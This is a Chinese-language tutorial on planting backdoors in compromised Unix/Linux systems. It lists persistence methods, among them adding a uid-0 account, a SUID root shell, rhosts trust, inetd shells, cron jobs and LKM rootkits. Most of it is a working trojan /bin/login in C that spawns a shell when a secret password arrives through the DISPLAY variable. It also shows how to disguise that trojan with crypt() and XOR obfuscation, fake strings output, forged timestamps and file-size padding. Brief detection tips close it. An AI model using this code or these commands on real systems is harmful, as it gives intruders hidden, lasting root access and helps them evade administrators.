後門簡介
入侵者完全控制系統後,為方便下次進入而采用的一種技術。一般通過修改系統配置文件和安裝第三方後門工具來實現。具有隱蔽性,能繞開系統日志,不易被系統管理員發現等特點。
常用後門技術
增加超級用戶賬號
破解/嗅探用戶密碼
放置SUID Shell
rhosts + +
利用系統服務程序
TCP/UDP/ICMP Shell
Crontab定時任務
共享庫文件
工具包rootkit
可裝載內核模塊(LKM)
增加超級用戶
# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
如果系統不允許uid=0的用戶遠程登錄,還需要增加一個普通用戶賬號。
破解/嗅探用戶密碼
獲得shadow文件後,用John the Ripper 工具破解薄弱的用戶密碼。安裝sniffit等嗅探工具,監聽telnet、FTP等端口,收集用戶密碼。
放置SUID Shell
# cp /bin/bash /dev/.rootshell
# chmod u+s /dev/.rootshell
普通用戶在本機運行/dev/.rootshell,即可獲得一個root權限的shell。
rhosts + +
# echo "+ +" > /.rhosts
# rsh -l root victim.com csh -i
遠程可以得到一個rootshell。
利用系統服務程序。
修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I ;用trojan程序替換in.telnetd、in.rexecd等inted的服務程序,重定向login程序。
TCP/UDP/ICMP Shell
BindShell,大部分是基於TCP/UDP協議的網絡服務程序,在高端口監聽,很容易被發現。Ping Backdoor,通過ICMP包激活後門,形成一個Shell通道。TCP ACK數據包後門,能夠穿越防火牆。
Crontab定時任務
通過Crontab程序調度已安裝的後門程序定時運行,一般在深夜時段,是系統管理員不在線的時間。
共享庫文件
在共享庫中嵌入後門函數使用後門口令激活Shell,獲得權限能夠躲避系統管理員對二進制文件本身的校驗。
工具包Rootkit
包含一系列系統及後門工具:
- 清除日志中的登錄記錄
- 偽裝校驗和
- 替換netstat、ps等網絡工具
- 後門登錄程序易於安裝和使用
可裝載內核模塊(LKM)
LKM:Loadable Kernel Modules 動態的加載,不需要重新編譯內核。
截獲系統調用,具有隱藏目錄、文件、進程、網絡連接等強大功能。
自身隱蔽性好,發現難度較大。
著名的LKM包有adore和knark。
後門的檢測
以自己的經驗,結合特定的工具,手工作一些檢測。使用Tripwire或md5校驗來檢查系統。借助IDS系統,監聽到目標機器的可疑網絡連接。
實例:Login後門
入侵者先把原始的/bin/login備份,再用一段程序替換/bin/login。入侵者telnet登錄進來的時候,通過環境變量或者終端類型,傳遞了正確的後門密碼,將直接獲得一個Shell;如果是普通用戶登錄,將會重定向到原始的login文件,來處理正常的登錄。
最簡單的login後門ulogin.c源代碼如下:
實例:login後門
#include <stdio.h>
#define PASSWord "passWORD"
#define _PATH_LOGIN "/sbin/logins"
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
if (!strcmp(display,PASSWORD)) {
system("/bin/csh");
exit(1);
}
execve(_PATH_LOGIN, argv, envp);
exit(1);
}
利用後門登錄
首先Telnet服務是打開的,在自己機器上:
bash$ eXPort DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
% _
Strings命令
strings命令能夠打印出二進制文件中的可顯示字符串,用於剛才的ulogin程序:
bash$ strings ulogin
/lib/ld-Linux.so.2
..............
DISPLAY
/sbin/logins
passWORD
/bin/csh
加密後門密碼
1,采用DES算法,即crypt( )函數,編寫gen.c程序:
#include <unistd.h>
main(int argc, char *argv[])
{
if (argc != 3) {
printf("usage: %s <password> <salt>\n", argv[0]);
exit(1);
}
printf("%s\n", crypt(argv[1], argv[2]));
}
2、編譯為gen,執行./gen hack ui,得到的shadow結果為UiVqMWvDrIQjA。
3、修改後門源程序ulogin.c:
-- 以密文形式的密碼代替ulogin.c中define的宏PASSWORD值。
-- 如果後門密碼正確,直接給出Shell:
if (!strcmp(PASSWORD, crypt(display,PASSWORD)))
{
system(SHELL);
exit(1);
}
用strings命令只能看到加密過的密碼。
采用異或(XOR)算法,以十六進制方式表示字符串,以達到non- printable的效果。
1、編碼程序encode.c如下:
char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";
char *de(char *str,char *key)
{
int i=0,j=0,len;
len=strlen(key);
while(str[i] != '\0') {
str[i]^=key[j];
j++;
if(j==len) j=0;
i++;
}
return str;
}
void display(char *str)
{
int i;
for(i=0;i<strlen(str);i++) printf("\\x%x",str[i]);
printf("\n");
}
main()
{
char gets[100], *ptr;
ptr=gets;
scanf ("%s",ptr);
de(ptr,magic);display(ptr);
}
2、編譯程序encode,依次執行得到關鍵字符串與magic串異或後的結果,例如原始login的文件名/sbin/xlogin,經過異或後為:
\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb
3、在後門源代碼中這樣定義:
Char
login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";
然後插入異或函數char *de()結合同一magic串,就能判斷出正確的後門密碼。
用strings命令看不到密碼、路徑等字符串了。
最後的修飾
使後門程序ulogin的strings輸出類似於正常login的strings輸出,做法為:
在ulogin.c代碼中增加一個字符串數組char strings[] ="";,在引號中填入正常login程序的strings輸出結果。以假亂真,增加迷惑性。
調整後門程序的文件日期、大小等屬性:
1、日期
# ls -l /sbin/xlogin
-r-sr-xr-x root root 19300 Feb 11 1998
/sbin/xlogin
# toUCh -t 199802110000 ulogin
# _
2、調整大小
# ls -l ulogin /sbin/xlogin
-r-sr-xr-x root root 7542 Feb 11 1998 ulogin
-r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin
# bc
19300-7542
11758
# dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1
1+0 records in
1+0 records out
11758 bytes transferred in 0.000379 secs (31016746
bytes/sec)
# cat /tmp/t >> ulogin
Login後門的檢測
使用命令md5sum對現有/bin/login文件作校驗,與以前的值作比較。
使用Red Hat Linux的RPM校驗:
# rpm -V util-linux
在入侵者已經利用後門登錄的情況下,who是看不到用戶的,查看系統進程,查找login -h xxx.xxx.xxx.xxx的字樣。